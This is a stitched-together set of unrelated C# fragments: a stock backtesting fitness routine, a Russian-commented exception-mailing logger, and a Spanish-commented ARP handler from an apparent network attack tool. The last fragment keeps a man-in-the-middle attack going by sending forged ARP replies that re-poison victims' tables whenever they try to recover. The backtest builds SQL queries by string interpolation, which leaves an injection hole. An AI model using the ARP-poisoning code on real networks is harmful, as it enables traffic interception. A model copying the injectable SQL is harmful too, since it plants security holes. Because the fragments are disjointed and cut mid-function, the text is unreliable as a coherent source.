fitness.TradeCountList.Add(tradeCount - tradeNum);
fitness.PFList.Add(gain / pain);
fitness.GainList.Add(gain);
fitness.PainList.Add(pain);
startDate = startDate.AddYears(1);
}
catch (Exception e)
{
individual.FitnessInfo = null;
return;
}
}
}
else
{
if (buyTable == null)
{
var gprSql = $"SELECT TOP {MaxRecord + 1} CodeNum, AsOfDate, NextPrice, {afterPrice}, {maxDD} FROM StockData WHERE {buySign} AND {condition}";
buyTable = db.ExecuteReader(gprSql);
}
fitness.TradeCount = buyTable.Rows.Count;
var win = 0;
var startDate = new DateTime(2007, 1, 1);
var endDate = new DateTime(2016, 12, 31);
//AsOfDate,NextPrice,SellPrice,TenMaxDD
//始値で買い，売りサインの次の日の始値で売る
var list = new SynchronizedCollection <object[]>();
//foreach(DataRow row in table.Rows)
Parallel.ForEach(buyTable.AsEnumerable(), row =>
{
var sql = $"SELECT TOP 1 AsOfDate, NextPrice FROM StockData WHERE CodeNum = '{row["CodeNum"].ToString()}' AND AsOfDate > '{DateTime.Parse(row["AsOfDate"].ToString())}' AND AsOfDate < '{DateTime.Parse(row["AsOfDate"].ToString()).AddDays(afterPrice == "TenAfterPrice" ? 20 : 10)}' AND {individual.SellSQLString} AND {condition} AND NowPrice > {row["NextPrice"].ToString()}";
var temp = db.ExecuteReader(sql);
sql = $"SELECT TOP 1 AsOfDate, NextPrice FROM StockData WHERE CodeNum = '{row["CodeNum"].ToString()}' AND AsOfDate > '{DateTime.Parse(row["AsOfDate"].ToString())}' AND AsOfDate < '{DateTime.Parse(row["AsOfDate"].ToString()).AddDays(afterPrice == "TenAfterPrice" ? 20 : 10)}' AND {individual.SellLCSQLString} AND {condition} AND NowPrice < {row["NextPrice"].ToString()}";
var temp2 = db.ExecuteReader(sql);
if ((temp == null || temp.Rows == null || temp.Rows.Count == 0) & (temp2 == null || temp2.Rows == null || temp2.Rows.Count == 0))
{
//データなし
list.Add(new object[] { DateTime.Parse(row["AsOfDate"].ToString()), double.Parse(row["NextPrice"].ToString()), double.Parse(row[afterPrice].ToString()), double.Parse(row[maxDD].ToString()) });
}
else
{
DataTable result = null;
if (temp == null || temp.Rows == null || temp.Rows.Count == 0)
{
result = temp2;
}
else if (temp2 == null || temp2.Rows == null || temp2.Rows.Count == 0)
{
result = temp;
}
else
{
result = DateTime.Parse(temp.Rows[0]["AsOfDate"].ToString()) < DateTime.Parse(temp2.Rows[0]["AsOfDate"].ToString()) ? temp : temp2;
}
//データあり
var sql2 = $"SELECT MIN(LowValue) FROM Code{row["CodeNum"].ToString()} WHERE Date > '{DateTime.Parse(row["AsOfDate"].ToString())}' AND Date <= '{DateTime.Parse(result.Rows[0]["AsOfDate"].ToString())}'";
var dd = db.ExecuteScalar(sql2, -1.0);
var sql3 = $"SELECT ShareUnitNum FROM ShareUnitTable WHERE CodeNum = '{row["CodeNum"].ToString()}'";
var unit = db.ExecuteScalar(sql3, -1);
if (dd == -1 || unit == -1)
{
list.Add(new object[] { DateTime.Parse(row["AsOfDate"].ToString()), double.Parse(row["NextPrice"].ToString()), double.Parse(row[afterPrice].ToString()), double.Parse(row[maxDD].ToString()) });
return;
}
list.Add(new object[] { DateTime.Parse(row["AsOfDate"].ToString()), double.Parse(row["NextPrice"].ToString()), double.Parse(result.Rows[0]["NextPrice"].ToString()), dd * unit });
}
});
//BRACテスト
while (startDate < endDate)
{
var filterData = list.Where(row => (DateTime)row[0] < startDate || startDate.AddYears(1) < (DateTime)row[0]);
try
{
var gain = filterData.Select(row => (double)row[2] / (double)row[1] - 1.0).Average();
var pain = filterData.Select(row => 1.0 - (double)row[3] / (double)row[1]).Average();
var tradeNum = filterData.Count();
fitness.TradeCountList.Add(fitness.TradeCount - tradeNum);
fitness.PFList.Add(gain / pain);
fitness.GainList.Add(gain);
fitness.PainList.Add(pain);
startDate = startDate.AddYears(1);
}
catch (Exception e)
{
individual.FitnessInfo = null;
return;
}
}
fitness.WinCount = list.Where(row => (double)row[1] < (double)row[2]).Count();
}
individual.FitnessInfo = fitness;
}
/// <summary>
/// Фиксация информации об исключении
/// </summary>
/// <param name="ex">Исключение, которое требуется зафиксировать</param>
/// <param name="async">Выполинть запись асинхронно</param>
internal void WriteEx(Exception ex, bool async)
{
lock (_sentMessages.SyncRoot)
{
try
{
SentMessage[] tmp = _sentMessages.Where(x => x.DtCreate <= DateTime.Now.AddMinutes(-1 * SKIP_MESS_MINUTE)).ToArray();
tmp.Select(x => _sentMessages.Remove(x)).ToArray();
}
catch { }
}
if (ex == null)
{
return;
}
XmlElement xml = GetErrorXml(ex);
if (((XmlElement)xml.SelectSingleNode("Info")).GetAttribute("mail") == "1")
{
// Заголовок - используется для автоматической разборки писем на сервере
string subject = "";
string pr = ((XmlElement)xml.SelectSingleNode("Info/Node[@id='Priority']")).GetAttribute("value");
if (pr == Enum.GetName(typeof(Priority), Priority.Error))
{
subject = "AppError";
// Доп. проверка на ExternalError
pr = GetPriority(ex, Priority.Error).ToString();
((XmlElement)xml.SelectSingleNode("Info/Node[@id='Priority']")).SetAttribute("value", pr);
}
if (pr == Enum.GetName(typeof(Priority), Priority.ExternalError))
{
subject = "Error ";
}
else if (pr == Enum.GetName(typeof(Priority), Priority.Info) || pr == Enum.GetName(typeof(Priority), Priority.Alarm))
{
subject = "*" + pr + "* ";
}
if (string.IsNullOrEmpty(_domain_name) && (pr == Enum.GetName(typeof(Priority), Priority.ExternalError) || pr == Enum.GetName(typeof(Priority), Priority.Alarm)))
{
return;
}
XmlElement component = (XmlElement)xml.SelectSingleNode("Info/Node[@id='Component']");
string build = component != null?component.GetAttribute("value") : "";
subject += String.Format((pr == Enum.GetName(typeof(Priority), Priority.Error) ? "[{0}]{1}:{2}" : "{2}"), _appName,
(build != "" ? "[" + build + "]" : ""),
((XmlElement)xml.SelectSingleNode("Info")).GetAttribute("message")).Replace("\n", " ").Replace("\r", " ");
if (subject.Length > MaxSubjLen)
{
subject = subject.Substring(0, MaxSubjLen);
}
XmlElement func = ((XmlElement)xml.SelectSingleNode("Info/Node[@id='Function']"));
XmlElement host = ((XmlElement)xml.SelectSingleNode("Info/Node[@id='Computer']"));
XmlElement user = ((XmlElement)xml.SelectSingleNode("Info/Node[@id='Computer']"));
SentMessage sm = new SentMessage((host != null ? host.GetAttribute("value") : ""), (user != null ? user.GetAttribute("value") : ""), (func != null ? func.GetAttribute("value") : ""), subject);
lock (_sentMessages.SyncRoot)
{
try
{
if (_sentMessages.FirstOrDefault(x => x.Equals(sm)) != null)
{
return;
}
_sentMessages.Add(sm);
}
catch { }
}
// Очистка информации о внутренней структуре приложения(стэк/ информацию о сборках) для внешних ошибок.
if (pr == Enum.GetName(typeof(Priority), Priority.ExternalError))
{
XmlElement excpt = ((XmlElement)xml.SelectSingleNode("Exceptions"));
if (excpt != null)
{
foreach (XmlElement exc in excpt.ChildNodes)
{
XmlElement cmpt = ((XmlElement)exc.SelectSingleNode("Node[@id='Component']"));
if (cmpt != null)
{
exc.RemoveChild(cmpt);
}
XmlElement mthd = ((XmlElement)exc.SelectSingleNode("Node[@id='Method']"));
if (mthd != null)
{
exc.RemoveChild(mthd);
}
XmlElement trce = ((XmlElement)exc.SelectSingleNode("Node[@id='Trace']"));
if (trce != null)
{
exc.RemoveChild(trce);
}
}
XmlElement info = ((XmlElement)xml.SelectSingleNode("Info"));
XmlElement frmw = ((XmlElement)xml.SelectSingleNode("Info/Node[@id='Framework']"));
if (frmw != null)
{
info.RemoveChild(frmw);
}
XmlElement memuse = ((XmlElement)xml.SelectSingleNode("Info/Node[@id='MemoryUsed']"));
if (memuse != null)
{
info.RemoveChild(memuse);
}
}
}
// Отправка письма
IncState(1);
if (async)
{
TaskMailSend task = new TaskMailSend(this, subject, xml);
task.Execute();
}
else
{
SendMail(subject, xml);
}
}
}
private void AnalyzeARP(Packet packet)
{
if (!(packet.PayloadPacket is ARPPacket))
{
return;
}
if (!(packet is EthernetPacket))
{
return;
}
EthernetPacket ethernet = (EthernetPacket)packet;
ARPPacket arp = (ARPPacket)packet.PayloadPacket;
// Si el paquete va dirigido a nuestra MAC...
if (ethernet.DestinationHwAddress.Equals(localPhysicalAddress))
{
PhysicalAddress mac = arp.SenderHardwareAddress;
IPAddress ip = arp.SenderProtocolAddress;
Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(mac);
if (neighbor == null)
{
// Creamos el vecino
neighbor = new Neighbor();
neighbor.physicalAddress = mac;
neighbor.AddIP(ip);
Program.CurrentProject.data.AddNeighbor(neighbor);
NewNeighbor(this, new NeighborEventArgs(neighbor));
}
else
{
// Si ya existe, comprobamos si tiene la iP ipv4 y se la añadimos (en caso de que lo la tenga)
if (!neighbor.ExistsIP(ip))
{
neighbor.AddIP(ip);
Program.CurrentProject.data.AddNeighbor(neighbor);
}
}
}
// Si va dirigido a broadcast ...
else if (ethernet.DestinationHwAddress.Equals(PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF")))
{
// Si los que están "negociando" las tablas ARP están siendo atacados por un MITM,
// se les vuelve a atacar envenenando sus tablas
if (arp.Operation == ARPOperation.Request)
{
PhysicalAddress senderMac = arp.SenderHardwareAddress;
PhysicalAddress destinationMac = arp.TargetHardwareAddress;
IPAddress senderIp = arp.SenderProtocolAddress;
IPAddress destinationIp = arp.TargetProtocolAddress;
SynchronizedCollection <Attack> lstAttacks = Program.CurrentProject.data.GetAttacks();
// En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar
foreach (Attack attk in lstAttacks.Where(A => (A.attackType == AttackType.ARPSpoofing || A.attackType == AttackType.InvalidMacSpoofIpv4) && A.attackStatus == AttackStatus.Attacking))
{
if (attk is MitmAttack)
{
MitmAttack mitmArp = (MitmAttack)attk;
if (
((mitmArp.t1.ip.Equals(senderIp)) || (mitmArp.t1.ip.Equals(destinationIp)))
&&
((mitmArp.t2.ip.Equals(senderIp)) || (mitmArp.t2.ip.Equals(destinationIp)))
)
{
// Lo envia a ambas partes del ataque, se vuelve a envenenar a los dos equipos
// (aunque unicamente sería necesario al que hace la solicitud (request)
ethernet = Attacks.ARPSpoofing.GenerateResponseArpPoison(device.Interface.MacAddress,
((MitmAttack)mitmArp).t2.mac,
((MitmAttack)mitmArp).t2.ip,
((MitmAttack)mitmArp).t1.ip);
Program.CurrentProject.data.SendPacket(ethernet);
ethernet = Attacks.ARPSpoofing.GenerateResponseArpPoison(device.Interface.MacAddress,
((MitmAttack)mitmArp).t1.mac,
((MitmAttack)mitmArp).t1.ip,
((MitmAttack)mitmArp).t2.ip);
Program.CurrentProject.data.SendPacket(ethernet);
}
}
else if (attk is InvalidMacSpoofAttackIpv4Attack)
{
ethernet = Attacks.ARPSpoofing.GenerateResponseArpPoison(device.Interface.MacAddress,
((InvalidMacSpoofAttackIpv4Attack)attk).t2.mac,
((InvalidMacSpoofAttackIpv4Attack)attk).t2.ip,
((InvalidMacSpoofAttackIpv4Attack)attk).t1.ip);
Program.CurrentProject.data.SendPacket(ethernet);
}
}
}
}
OnNewARP(new ArpEventArgs(packet));
}